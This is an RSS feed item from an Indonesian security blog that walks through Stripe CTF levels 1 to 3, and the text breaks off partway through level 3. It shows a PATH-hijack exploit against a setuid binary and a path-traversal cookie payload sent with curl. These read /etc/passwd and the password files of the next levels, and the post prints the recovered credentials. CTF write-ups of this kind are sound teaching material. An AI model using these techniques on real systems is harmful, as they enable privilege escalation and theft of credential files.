<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Ilmu Hacking</title>
	
	<link>http://www.ilmuhacking.com</link>
	<description>Hackingology, Computer Security Blog</description>
	<lastBuildDate>Tue, 28 Feb 2012 08:18:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ilmuhacking" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="ilmuhacking" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Stripe CTF Level 1-5</title>
		<link>http://www.ilmuhacking.com/exploit/stripe-ctf-level-1-5/</link>
		<comments>http://www.ilmuhacking.com/exploit/stripe-ctf-level-1-5/#comments</comments>
		<pubDate>Tue, 28 Feb 2012 07:47:06 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2871</guid>
		<description><![CDATA[Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya. Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Beberapa hari yang lalu <a title="stripe" href="https://stripe.com/blog/capture-the-flag">stripe</a> membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.
</p>
<p style="text-align: justify;">Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.</p>
<p><!-- more --><br />
<strong>Level 01</strong></p>
<p style="text-align: justify;">Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">Welcome to the Stripe CTF challenge!
&nbsp;
Stripe CTF is a wargame, inspired by SmashTheStack I/O[1].
&nbsp;
In /home/level02/.password is the SSH password for the level02
user. Your mission, should you choose to accept it, is to read that
file. You may find the binary /levels/level01 and its source code
/levels/level01.c useful.
&nbsp;
We've created a scratch directory for you in /tmp.
&nbsp;
There are a total of 6 levels in this CTF; if you're stuck, feel free
to email ctf@stripe.com for guidance.</pre></div></div>

<p style="text-align: justify;">Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.</p>
<p style="text-align: justify;">
Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01</pre></div></div>

<p style="text-align: justify;">
Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:49 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:56 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$</pre></div></div>

<p style="text-align: justify;">Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?</p>
<p style="text-align: justify;">
Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar  aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Current time: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  fflush<span style="color: #009900;">&#40;</span>stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;date&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p style="text-align: justify;">
Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.
</p>
<p style="text-align: justify;">
Fungsi system() mengeksekusi &#8220;date&#8221;, tentu yang dimaksud oleh programmernya adalah /bin/date yang  menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan &#8220;date&#8221; saja, bukan &#8220;/bin/date&#8221; ? Jawabannya adalah dari environment variable PATH.
</p>
<p style="text-align: justify;">
Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi &#8220;date&#8221; yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p
&gt; cat /home/level02/.password' &gt; date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date
-rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: kxlVXUvzv</pre></div></div>

<p style="text-align: justify;">
Setelah PATH variabel disesuaikan dan &#8220;date&#8221; kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.
</p>
<p><b>Level 02</b></p>
<p style="text-align: justify;">
Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">Congratulations on making it to level 2!
&nbsp;
The password for the next level is in /home/level03/.password. This
one is a web-based vulnerability, so go ahead and point your browser
to http://ctf.stri.pe/level02.php. You'll need to provide the password
for level02 using HTTP digest authentication.
&nbsp;
You can find the source code for level02.php in /var/www/.</pre></div></div>

<p style="text-align: justify;">
Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.
</p>
<p style="text-align: justify;">
Mari kita lihat source code aplikasinya:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
    <span style="color: #000000; font-weight: bold;">function</span> random_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$max</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">20</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$chars</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;abcdefghijklmnopqrstuvwxwz0123456789&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$max</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #000088;">$rand_key</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mt_rand</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$chars</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #000088;">$string</span>  <span style="color: #339933;">.=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$chars</span><span style="color: #339933;">,</span> <span style="color: #000088;">$rand_key</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #990000;">str_shuffle</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000088;">$out</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user_details'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$out</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;p&gt;Looks like a first time user. Hello, there!&lt;/p&gt;&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> random_string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;.txt&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/tmp/level02/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$filename</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REMOTE_ADDR'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; using &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_USER_AGENT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
      <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #000088;">$str</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #990000;">setcookie</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'user_details'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$out</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/tmp/level02/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user_details'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Level02&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;Welcome to the challenge!&lt;/h1&gt;
    &lt;div class=&quot;main&quot;&gt;
      &lt;p&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$out</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/p&gt;
      <span style="color: #000000; font-weight: bold;">&lt;?php</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'age'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
          <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;You're &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;, and your age is &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'age'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000000; font-weight: bold;">?&gt;</span>
      &lt;form action=&quot;#&quot; method=&quot;post&quot;&gt;
        Name: &lt;input name=&quot;name&quot; type=&quot;text&quot; length=&quot;40&quot; /&gt;&lt;br /&gt;
        Age: &lt;input name=&quot;age&quot; type=&quot;text&quot; length=&quot;2&quot; /&gt;&lt;br /&gt;&lt;br /&gt;
        &lt;input type=&quot;submit&quot; value=&quot;Submit!&quot; /&gt;
      &lt;/form&gt;
      <span style="color: #000000; font-weight: bold;">&lt;?php</span>   <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
    &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

<p style="text-align: justify;">
Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.
</p>
<p style="text-align: justify;">
Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?
</p>
<p style="text-align: justify;">
Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string &#8220;/tmp/level02/&#8221; sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.
</p>
<p style="text-align: justify;">
Bila COOKIE berisi &#8220;abcd.txt&#8221;, maka aplikasi akan membaca &#8220;/tmp/level02/abcd.txt&#8221;. Namun bagaimana bile COOKIE berisi &#8220;../../etc/passwd&#8221; ? Nama file yang akan dibaca menjadi &#8220;/tmp/level02/../../etc/passwd&#8221; atau sama saja dengan &#8220;/etc/passwd&#8221;.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ curl --cookie &quot;user_details=../../etc/passwd&quot; --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>Level02<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>Welcome to the challenge!<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;main&quot;</span>&gt;</span>
      <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:105:109::/var/lib/landscape:/bin/false
ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash
postfix:x:106:113::/var/spool/postfix:/bin/false
level01:x:1001:1002::/home/level01:/bin/bash
level02:x:1002:1003::/home/level02:/bin/bash
level03:x:1003:1004::/home/level03:/bin/bash
level04:x:1004:1005::/home/level04:/bin/bash
level05:x:1005:1006::/home/level05:/bin/bash
level06:x:1006:1007::/home/level06:/bin/bash
the-flag:x:1007:1008::/home/the-flag:/bin/bash
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#&quot;</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span>
        Name: <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;name&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> length<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;40&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;</span>
        Age: <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;age&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> length<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;2&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Submit!&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
      <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span>
          <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></pre></div></div>

<p style="text-align: justify;">
Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix &#8220;../../&#8221;. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi &#8220;../../home/level03/.password&#8221;.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ curl --cookie &quot;user_details=../../home/level03/.password&quot; --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>Level02<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>Welcome to the challenge!<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;main&quot;</span>&gt;</span>
      <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>Or0m4UX07b
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#&quot;</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span>
        Name: <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;name&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> length<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;40&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;</span>
        Age: <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;age&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> length<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;2&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Submit!&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
      <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span>
          <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></pre></div></div>

<p><b>Level 03</b></p>
<p style="text-align: justify;">
Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">Congratulations on making it to level 3!
&nbsp;
The password for the next level is in /home/level04/.password. As
before, you may find /levels/level03 and /levels/level03.c useful.
While the supplied binary mostly just does mundane tasks, we trust
you'll find a way of making it do something much more interesting.</pre></div></div>

<p style="text-align: justify;">
Sebelumnya mari kita coba dulu aplikasi /levels/level03.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test
Uppercased string: TEST
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test
Lowercased string: test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test
Capitalized string: Test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test
Length of string 'test': 4
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test
Invalid index.
Possible indices:
